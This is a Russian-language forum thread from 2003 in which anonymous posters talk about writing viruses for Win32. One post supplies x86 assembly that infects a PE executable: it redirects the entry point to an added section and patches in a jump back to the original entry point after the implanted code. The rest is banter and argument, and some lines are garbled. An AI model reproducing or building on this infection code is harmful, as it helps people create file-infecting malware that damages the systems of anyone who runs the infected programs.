2 P2M
Я писаю в кармены таким любопытным.

у меня есть проца которая тушит 250 файров и мониторов :) Ваш ответ...

Насчет старой точки входа - предлагаю возвращаться jmp_пом.
Когда твой код закончит свое дело но должен прыгнуть назад на расстояние от твоего кода до старой точки входа.
Если ты добавил новую секцию (новая EP = начало секции) в ней размер твого кода = (sizImplant + 5 байт для jmp xxxxxxxxh). Тогда можеш вернуться так

mov edx, [ebx].OptionalHeader.AddressOfEntryPoint
mov eax, [esi].VirtualAddress ; новая секция
mov [ebx].OptionalHeader.AddressOfEntryPoint, eax
sub edx, [esi].VirtualAddress ; новая секция
sub edx, sizImplant ;размер кода в ней
mov ecx, [esi].PointerToRawData ; новая секция
add ecx, hFileImage
add ecx, sizImplant
sub ecx, 5
mov [ecx], byte ptr 0e9h ; jmp
mov dword ptr [ecx+1], edx ;addres
// сдесь заканчивается твой код //

То Аноним Дата: Фев 11, 2003 13:45:04

Я за вири для WIN32 (чтобы работало на всех Windows кроме Win_Dr.Golova)

Аноним Дата: Фев 11, 2003 13:45:04
... вот и есть команда, теперь нужен командир ! Кто раздаст ЦУ ?

[offtopic]
Аноним Фев 11, 2003 13:12:30
поддержи если знаешь
Я вирусов не пишу, хватает основной работы, в эту тему написал (Фев 10, 2003 04:50:57; Фев 10, 2003 06:54:03) для предупреждения потенциальных пользователей кода, приведенного в первом сообщении, от возможных ошибок.

Ну так нельзя ... старые воины не соизволят ...
Если "молодые" воины не хотят читать документацию, разбираться в чужом коде, то не стать им "старыми".
Imho при объяснении чего-либо больше выигрывает объясняющая сторона.

доигрались что в России дельфинов больше
Среди них есть достойные программисты.


Аноним : Фев 11, 2003 13:21:51
Я писаю ...
Ваше право.
Вспомните пословицы "Не рой яму другому ...", "Не плюй в колодец ..."
[/offtopic]

arturik
был мой кусочек кода
Не стОит гордиться таким кодом.
И не стОит добовлять свой флейм к моему. Хоть в этом будьте последовательны.

... а хотели вместе что то сделать. В результате друг друга испугались, приписалим дру другу дурные мотивы и на том разъехались. Ну чего мужики тема закрыта ? :) ...